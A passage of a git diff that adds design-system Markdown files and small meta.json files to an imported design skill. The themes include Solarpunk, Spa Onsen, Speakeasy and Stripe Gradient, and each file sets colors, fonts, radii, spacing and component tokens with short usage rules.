padding: 24px +--- +## Overview + +A modern skincare palette: oat-cream surface, graphite text, stone-grey minor hairlines. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#1B1917`):** Headlines and core text. +- **Secondary (`#8C847A`):** Borders, captions, and metadata. +- **Tertiary (`#3E3832`):** The sole driver for interaction. Reserve it. +- **Neutral (`#ECE6D9`):** The page foundation. + +## Typography + +- **display:** Jost 4rem +- **h1:** Jost 2.2rem +- **body:** Jost 0.98rem +- **label:** Jost 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/skincare-matte.meta.json b/imported-skills/designdotmd/designs/skincare-matte.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..8d99cf6286c1e318930a9be6fdb753c356b82302 --- /dev/null +++ b/imported-skills/designdotmd/designs/skincare-matte.meta.json @@ -0,0 +1,4 @@ +{ + "id": "skincare-matte", + "name": "Skincare Matte" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/social-dusk.md b/imported-skills/designdotmd/designs/social-dusk.md new file mode 100644 index 0000000000000000000000000000000000000000..ab1b9f9337d28842dcad2efd1f6c5a0f8f0166dd --- /dev/null +++ b/imported-skills/designdotmd/designs/social-dusk.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Social Dusk +description: Late-night feed: indigo dusk, lilac strokes, amber taps. +colors: + primary: "#ECE9FF" + secondary: "#837CB0" + tertiary: "#FFB257" + neutral: "#0E0B1B" + surface: "#181336" + on-primary: "#0E0B1B" +typography: + display: + fontFamily: Manrope + fontSize: 3.75rem + fontWeight: 700 + letterSpacing: "-0.03em" + h1: + fontFamily: Manrope + fontSize: 2rem + fontWeight: 700 + body: + fontFamily: Manrope + fontSize: 0.95rem + lineHeight: 1.55 + label: + fontFamily: Manrope + fontSize: 0.72rem + fontWeight: 600 + letterSpacing: "0.06em" +rounded: + sm: 8px + md: 14px + lg: 22px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A social-app palette tuned for AMOLED screens at midnight. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#ECE9FF`):** Headlines and core text. +- **Secondary (`#837CB0`):** Borders, captions, and metadata. +- **Tertiary (`#FFB257`):** The sole driver for interaction. Reserve it. +- **Neutral (`#0E0B1B`):** The page foundation. + +## Typography + +- **display:** Manrope 3.75rem +- **h1:** Manrope 2rem +- **body:** Manrope 0.95rem +- **label:** Manrope 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/social-dusk.meta.json b/imported-skills/designdotmd/designs/social-dusk.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..91c58d8698ad65f76cf173db1b765c865d4a774b --- /dev/null +++ b/imported-skills/designdotmd/designs/social-dusk.meta.json @@ -0,0 +1,4 @@ +{ + "id": "social-dusk", + "name": "Social Dusk" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/solarpunk.md b/imported-skills/designdotmd/designs/solarpunk.md new file mode 100644 index 0000000000000000000000000000000000000000..7e6a8b04373fc35d443b5603e2df48a482f2d0da --- /dev/null +++ b/imported-skills/designdotmd/designs/solarpunk.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Solarpunk +description: Optimistic eco: plant green, sun yellow, soft terracotta. +colors: + primary: "#14301E" + secondary: "#5F7A68" + tertiary: "#F4C430" + neutral: "#F0EAD2" + surface: "#F7F0D8" + on-primary: "#14301E" +typography: + display: + fontFamily: Fraunces + fontSize: 4.5rem + fontWeight: 700 + letterSpacing: "-0.025em" + h1: + fontFamily: Fraunces + fontSize: 2.4rem + fontWeight: 600 + body: + fontFamily: DM Sans + fontSize: 1rem + lineHeight: 1.65 + label: + fontFamily: DM Sans + fontSize: 0.74rem + fontWeight: 600 + letterSpacing: "0.1em" +rounded: + sm: 10px + md: 18px + lg: 28px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A solarpunk aesthetic: verdant greens, sunny yellows, organic radii, hand-drawn warmth. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#14301E`):** Headlines and core text. +- **Secondary (`#5F7A68`):** Borders, captions, and metadata. +- **Tertiary (`#F4C430`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F0EAD2`):** The page foundation. + +## Typography + +- **display:** Fraunces 4.5rem +- **h1:** Fraunces 2.4rem +- **body:** DM Sans 1rem +- **label:** DM Sans 0.74rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/solarpunk.meta.json b/imported-skills/designdotmd/designs/solarpunk.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..13fe8c898b9ff6559a571c6cf2a3d42df6bc8e67 --- /dev/null +++ b/imported-skills/designdotmd/designs/solarpunk.meta.json @@ -0,0 +1,4 @@ +{ + "id": "solarpunk", + "name": "Solarpunk" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/spa-onsen.md b/imported-skills/designdotmd/designs/spa-onsen.md new file mode 100644 index 0000000000000000000000000000000000000000..135b937f5c35c5e7fe44687e1622ae43c151365b --- /dev/null +++ b/imported-skills/designdotmd/designs/spa-onsen.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Spa Onsen +description: Onsen: wet-stone grey, steam-rose, cedar accent. +colors: + primary: "#2C2828" + secondary: "#938B85" + tertiary: "#D8A87F" + neutral: "#ECE4DE" + surface: "#F5EEE7" + on-primary: "#F5EEE7" +typography: + display: + fontFamily: Shippori Mincho + fontSize: 4rem + fontWeight: 400 + letterSpacing: "-0.02em" + h1: + fontFamily: Shippori Mincho + fontSize: 2.2rem + fontWeight: 400 + body: + fontFamily: Noto Sans JP + fontSize: 0.98rem + lineHeight: 1.7 + label: + fontFamily: Noto Sans JP + fontSize: 0.72rem + fontWeight: 400 + letterSpacing: "0.18em" +rounded: + sm: 2px + md: 4px + lg: 8px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A Japanese-onsen spa palette: wet-stone surface, steam-rose primary, cedar-wood accent. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#2C2828`):** Headlines and core text. +- **Secondary (`#938B85`):** Borders, captions, and metadata. +- **Tertiary (`#D8A87F`):** The sole driver for interaction. Reserve it. +- **Neutral (`#ECE4DE`):** The page foundation. + +## Typography + +- **display:** Shippori Mincho 4rem +- **h1:** Shippori Mincho 2.2rem +- **body:** Noto Sans JP 0.98rem +- **label:** Noto Sans JP 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/spa-onsen.meta.json b/imported-skills/designdotmd/designs/spa-onsen.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..bfc6e177ef79b558361b0fd0c718b5176a3f2a53 --- /dev/null +++ b/imported-skills/designdotmd/designs/spa-onsen.meta.json @@ -0,0 +1,4 @@ +{ + "id": "spa-onsen", + "name": "Spa Onsen" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/space-mission.md b/imported-skills/designdotmd/designs/space-mission.md new file mode 100644 index 0000000000000000000000000000000000000000..8ae775ce6b9061c1aa8bf485d546e75ba7d34e00 --- /dev/null +++ b/imported-skills/designdotmd/designs/space-mission.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Space Mission +description: Mission-control amber on black. Telemetry forever. +colors: + primary: "#FFB347" + secondary: "#8A6A38" + tertiary: "#FF6B35" + neutral: "#050505" + surface: "#0D0B08" + on-primary: "#050505" +typography: + display: + fontFamily: IBM Plex Mono + fontSize: 3.25rem + fontWeight: 500 + letterSpacing: "0" + h1: + fontFamily: IBM Plex Mono + fontSize: 1.7rem + fontWeight: 500 + body: + fontFamily: IBM Plex Mono + fontSize: 0.9rem + lineHeight: 1.55 + label: + fontFamily: IBM Plex Mono + fontSize: 0.68rem + letterSpacing: "0.1em" +rounded: + sm: 0px + md: 2px + lg: 4px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A 1970s mission-control palette: amber glow on black CRT, cold grids, monospace data. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#FFB347`):** Headlines and core text. +- **Secondary (`#8A6A38`):** Borders, captions, and metadata. +- **Tertiary (`#FF6B35`):** The sole driver for interaction. Reserve it. +- **Neutral (`#050505`):** The page foundation. + +## Typography + +- **display:** IBM Plex Mono 3.25rem +- **h1:** IBM Plex Mono 1.7rem +- **body:** IBM Plex Mono 0.9rem +- **label:** IBM Plex Mono 0.68rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/space-mission.meta.json b/imported-skills/designdotmd/designs/space-mission.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..500c86d0db0423a0ec73276f2c7e807e25d55757 --- /dev/null +++ b/imported-skills/designdotmd/designs/space-mission.meta.json @@ -0,0 +1,4 @@ +{ + "id": "space-mission", + "name": "Space Mission" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/spatial-glass.md b/imported-skills/designdotmd/designs/spatial-glass.md new file mode 100644 index 0000000000000000000000000000000000000000..b36d6faeeb5b18994304f67e898a1a7161ab1add --- /dev/null +++ b/imported-skills/designdotmd/designs/spatial-glass.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Spatial Glass +description: AR OS: frosted lens, aurora gradient, depth hairline. +colors: + primary: "#F4F6FB" + secondary: "#8F99B0" + tertiary: "#7FE6D6" + neutral: "#10131B" + surface: "#1A1F2C" + on-primary: "#10131B" +typography: + display: + fontFamily: Outfit + fontSize: 4rem + fontWeight: 300 + letterSpacing: "-0.04em" + h1: + fontFamily: Outfit + fontSize: 2.2rem + fontWeight: 400 + body: + fontFamily: Outfit + fontSize: 0.95rem + lineHeight: 1.55 + label: + fontFamily: IBM Plex Mono + fontSize: 0.72rem + letterSpacing: "0.1em" +rounded: + sm: 10px + md: 18px + lg: 30px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A spatial/AR OS palette: frosted-lens translucency, aurora gradient accent, tight hairlines. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#F4F6FB`):** Headlines and core text. +- **Secondary (`#8F99B0`):** Borders, captions, and metadata. +- **Tertiary (`#7FE6D6`):** The sole driver for interaction. Reserve it. +- **Neutral (`#10131B`):** The page foundation. + +## Typography + +- **display:** Outfit 4rem +- **h1:** Outfit 2.2rem +- **body:** Outfit 0.95rem +- **label:** IBM Plex Mono 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/spatial-glass.meta.json b/imported-skills/designdotmd/designs/spatial-glass.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..eabc7d93c888b00e1b424562ff0178934f13a433 --- /dev/null +++ b/imported-skills/designdotmd/designs/spatial-glass.meta.json @@ -0,0 +1,4 @@ +{ + "id": "spatial-glass", + "name": "Spatial Glass" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/speakeasy.md b/imported-skills/designdotmd/designs/speakeasy.md new file mode 100644 index 0000000000000000000000000000000000000000..982387e3a654aeadb04587a217d5044bbed3d74b --- /dev/null +++ b/imported-skills/designdotmd/designs/speakeasy.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Speakeasy +description: Hidden bar: velvet black, candle amber, brass knob. +colors: + primary: "#EAD9B4" + secondary: "#8E7C5C" + tertiary: "#CB8B3A" + neutral: "#0E0B08" + surface: "#17120C" + on-primary: "#EAD9B4" +typography: + display: + fontFamily: Playfair Display + fontSize: 5rem + fontWeight: 700 + letterSpacing: "-0.02em" + h1: + fontFamily: Playfair Display + fontSize: 2.4rem + fontWeight: 600 + body: + fontFamily: Lora + fontSize: 1rem + lineHeight: 1.7 + label: + fontFamily: Lora + fontSize: 0.74rem + fontWeight: 600 + letterSpacing: "0.24em" +rounded: + sm: 2px + md: 4px + lg: 6px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A speakeasy palette: velvet black, candle amber accent, brass detail highlights. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#EAD9B4`):** Headlines and core text. +- **Secondary (`#8E7C5C`):** Borders, captions, and metadata. +- **Tertiary (`#CB8B3A`):** The sole driver for interaction. Reserve it. +- **Neutral (`#0E0B08`):** The page foundation. + +## Typography + +- **display:** Playfair Display 5rem +- **h1:** Playfair Display 2.4rem +- **body:** Lora 1rem +- **label:** Lora 0.74rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/speakeasy.meta.json b/imported-skills/designdotmd/designs/speakeasy.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..ac138ecc7befdefc915012871abef698337f0244 --- /dev/null +++ b/imported-skills/designdotmd/designs/speakeasy.meta.json @@ -0,0 +1,4 @@ +{ + "id": "speakeasy", + "name": "Speakeasy" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/speedrun-clock.md b/imported-skills/designdotmd/designs/speedrun-clock.md new file mode 100644 index 0000000000000000000000000000000000000000..b181dc847c9e66c0560ec01d99d9e2aa4363e65f --- /dev/null +++ b/imported-skills/designdotmd/designs/speedrun-clock.md @@ -0,0 +1,74 @@ +--- +version: alpha +name: Speedrun Clock +description: Split timer aesthetic: green splits, red losses, mono forever. +colors: + primary: "#E8E8E8" + secondary: "#888888" + tertiary: "#22E09A" + neutral: "#0A0A0A" + surface: "#121212" + on-primary: "#0A0A0A" +typography: + display: + fontFamily: JetBrains Mono + fontSize: 3.5rem + fontWeight: 700 + h1: + fontFamily: JetBrains Mono + fontSize: 1.8rem + fontWeight: 600 + body: + fontFamily: JetBrains Mono + fontSize: 0.92rem + lineHeight: 1.5 + label: + fontFamily: JetBrains Mono + fontSize: 0.7rem + letterSpacing: "0.04em" +rounded: + sm: 2px + md: 3px + lg: 4px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A speedrun-timer system. High-contrast mono, green gains, red losses. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#E8E8E8`):** Headlines and core text. +- **Secondary (`#888888`):** Borders, captions, and metadata. +- **Tertiary (`#22E09A`):** The sole driver for interaction. Reserve it. +- **Neutral (`#0A0A0A`):** The page foundation. + +## Typography + +- **display:** JetBrains Mono 3.5rem +- **h1:** JetBrains Mono 1.8rem +- **body:** JetBrains Mono 0.92rem +- **label:** JetBrains Mono 0.7rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/speedrun-clock.meta.json b/imported-skills/designdotmd/designs/speedrun-clock.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..9a891c924e2d916034e0f73794ed3af6003d9ef0 --- /dev/null +++ b/imported-skills/designdotmd/designs/speedrun-clock.meta.json @@ -0,0 +1,4 @@ +{ + "id": "speedrun-clock", + "name": "Speedrun Clock" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/sports-hud.md b/imported-skills/designdotmd/designs/sports-hud.md new file mode 100644 index 0000000000000000000000000000000000000000..ff6545c387f7c5148aba5d9128e86544580e2119 --- /dev/null +++ b/imported-skills/designdotmd/designs/sports-hud.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Sports HUD +description: Stadium energy. Angled badges, neon scoreline. +colors: + primary: "#0E1016" + secondary: "#5B6270" + tertiary: "#00E676" + neutral: "#F1F3F5" + surface: "#FFFFFF" + on-primary: "#0E1016" +typography: + display: + fontFamily: Archivo Black + fontSize: 4rem + fontWeight: 900 + letterSpacing: "-0.03em" + h1: + fontFamily: Archivo + fontSize: 2.25rem + fontWeight: 800 + body: + fontFamily: Archivo + fontSize: 0.95rem + lineHeight: 1.5 + label: + fontFamily: Archivo + fontSize: 0.72rem + fontWeight: 700 + letterSpacing: "0.14em" +rounded: + sm: 2px + md: 4px + lg: 6px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A hard-edged broadcast-style system for sports and racing games. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#0E1016`):** Headlines and core text. +- **Secondary (`#5B6270`):** Borders, captions, and metadata. +- **Tertiary (`#00E676`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F1F3F5`):** The page foundation. + +## Typography + +- **display:** Archivo Black 4rem +- **h1:** Archivo 2.25rem +- **body:** Archivo 0.95rem +- **label:** Archivo 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/sports-hud.meta.json b/imported-skills/designdotmd/designs/sports-hud.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..0fc71273ca466e97fe0daefe262299480a5c113a --- /dev/null +++ b/imported-skills/designdotmd/designs/sports-hud.meta.json @@ -0,0 +1,4 @@ +{ + "id": "sports-hud", + "name": "Sports HUD" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/storybook-paper.md b/imported-skills/designdotmd/designs/storybook-paper.md new file mode 100644 index 0000000000000000000000000000000000000000..619d0427bae8713695aabb55334398ce42d6c130 --- /dev/null +++ b/imported-skills/designdotmd/designs/storybook-paper.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Storybook Paper +description: Children's storybook: butter paper, crayon scribbles. +colors: + primary: "#2E1E0F" + secondary: "#9C8870" + tertiary: "#F05A5A" + neutral: "#FFF3CF" + surface: "#FFF9E0" + on-primary: "#2E1E0F" +typography: + display: + fontFamily: Caveat + fontSize: 5.5rem + fontWeight: 700 + letterSpacing: "-0.02em" + h1: + fontFamily: Fraunces + fontSize: 2.5rem + fontWeight: 700 + body: + fontFamily: Fraunces + fontSize: 1.05rem + lineHeight: 1.7 + label: + fontFamily: Caveat + fontSize: 1rem + fontWeight: 700 + letterSpacing: "0.02em" +rounded: + sm: 8px + md: 14px + lg: 24px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A children's-book palette: butter paper surface, crayon-scribble illustration feel, friendly serif. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#2E1E0F`):** Headlines and core text. +- **Secondary (`#9C8870`):** Borders, captions, and metadata. +- **Tertiary (`#F05A5A`):** The sole driver for interaction. Reserve it. +- **Neutral (`#FFF3CF`):** The page foundation. + +## Typography + +- **display:** Caveat 5.5rem +- **h1:** Fraunces 2.5rem +- **body:** Fraunces 1.05rem +- **label:** Caveat 1rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/storybook-paper.meta.json b/imported-skills/designdotmd/designs/storybook-paper.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..d257ea96ee904d69bb4d6fb3531911763fa5dcec --- /dev/null +++ b/imported-skills/designdotmd/designs/storybook-paper.meta.json @@ -0,0 +1,4 @@ +{ + "id": "storybook-paper", + "name": "Storybook Paper" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/street-food.md b/imported-skills/designdotmd/designs/street-food.md new file mode 100644 index 0000000000000000000000000000000000000000..46c8a2ac22ec5a8096c8c0e628758f105b83db72 --- /dev/null +++ b/imported-skills/designdotmd/designs/street-food.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Street Food +description: Night-market neon on butcher paper. +colors: + primary: "#1A0F05" + secondary: "#7A6A54" + tertiary: "#F23C3C" + neutral: "#F5E9CF" + surface: "#FCF3DC" + on-primary: "#FCF3DC" +typography: + display: + fontFamily: Bowlby One + fontSize: 4.5rem + fontWeight: 400 + letterSpacing: "-0.01em" + h1: + fontFamily: Bowlby One + fontSize: 2.4rem + fontWeight: 400 + body: + fontFamily: DM Sans + fontSize: 1rem + lineHeight: 1.55 + label: + fontFamily: DM Sans + fontSize: 0.78rem + fontWeight: 700 + letterSpacing: "0.06em" +rounded: + sm: 4px + md: 8px + lg: 14px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A street-food palette: butcher paper surface, neon signage accents, chunky slab display. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#1A0F05`):** Headlines and core text. +- **Secondary (`#7A6A54`):** Borders, captions, and metadata. +- **Tertiary (`#F23C3C`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F5E9CF`):** The page foundation. + +## Typography + +- **display:** Bowlby One 4.5rem +- **h1:** Bowlby One 2.4rem +- **body:** DM Sans 1rem +- **label:** DM Sans 0.78rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/street-food.meta.json b/imported-skills/designdotmd/designs/street-food.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..2c9cadf3db8d8945abf9b875b36700a6c3bdfb34 --- /dev/null +++ b/imported-skills/designdotmd/designs/street-food.meta.json @@ -0,0 +1,4 @@ +{ + "id": "street-food", + "name": "Street Food" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/streetwear-block.md b/imported-skills/designdotmd/designs/streetwear-block.md new file mode 100644 index 0000000000000000000000000000000000000000..7fef16f233c857efa6fc50bd9d05969b71d559cb --- /dev/null +++ b/imported-skills/designdotmd/designs/streetwear-block.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Streetwear Block +description: Supreme-energy: box logo, off-white, siren red. +colors: + primary: "#0A0A0A" + secondary: "#6B6B6B" + tertiary: "#E02020" + neutral: "#EEEBE2" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Anton + fontSize: 5.5rem + fontWeight: 400 + letterSpacing: "-0.01em" + h1: + fontFamily: Anton + fontSize: 3rem + fontWeight: 400 + body: + fontFamily: Inter + fontSize: 0.92rem + lineHeight: 1.55 + label: + fontFamily: Anton + fontSize: 0.82rem + letterSpacing: "0.12em" +rounded: + sm: 0px + md: 0px + lg: 2px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A dropwear system that lives and dies on the drop. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#0A0A0A`):** Headlines and core text. +- **Secondary (`#6B6B6B`):** Borders, captions, and metadata. +- **Tertiary (`#E02020`):** The sole driver for interaction. Reserve it. +- **Neutral (`#EEEBE2`):** The page foundation. + +## Typography + +- **display:** Anton 5.5rem +- **h1:** Anton 3rem +- **body:** Inter 0.92rem +- **label:** Anton 0.82rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/streetwear-block.meta.json b/imported-skills/designdotmd/designs/streetwear-block.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..8172ffa2b58c5f55920621b3be69f24f93870fe2 --- /dev/null +++ b/imported-skills/designdotmd/designs/streetwear-block.meta.json @@ -0,0 +1,4 @@ +{ + "id": "streetwear-block", + "name": "Streetwear Block" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/stripe-gradient.md b/imported-skills/designdotmd/designs/stripe-gradient.md new file mode 100644 index 0000000000000000000000000000000000000000..10af6a40ad4df6699e71a2d940630c40ecf3c60a --- /dev/null +++ b/imported-skills/designdotmd/designs/stripe-gradient.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Stripe Gradient +description: Deep navy, sky, a whisper of violet. +colors: + primary: "#0A2540" + secondary: "#425466" + tertiary: "#635BFF" + neutral: "#F6F9FC" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Sohne + fontSize: 4rem + fontWeight: 600 + letterSpacing: "-0.02em" + h1: + fontFamily: Inter + fontSize: 2.25rem + fontWeight: 600 + letterSpacing: "-0.02em" + body: + fontFamily: Inter + fontSize: 1rem + lineHeight: 1.6 + label: + fontFamily: Inter + fontSize: 0.75rem + letterSpacing: "0.02em" +rounded: + sm: 4px + md: 8px + lg: 16px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +Financial-grade trust with warmth. Deep navy primary, clean sans, violet-blue accent for interactive surfaces. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#0A2540`):** Headlines and core text. +- **Secondary (`#425466`):** Borders, captions, and metadata. +- **Tertiary (`#635BFF`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F6F9FC`):** The page foundation. + +## Typography + +- **display:** Sohne 4rem +- **h1:** Inter 2.25rem +- **body:** Inter 1rem +- **label:** Inter 0.75rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git 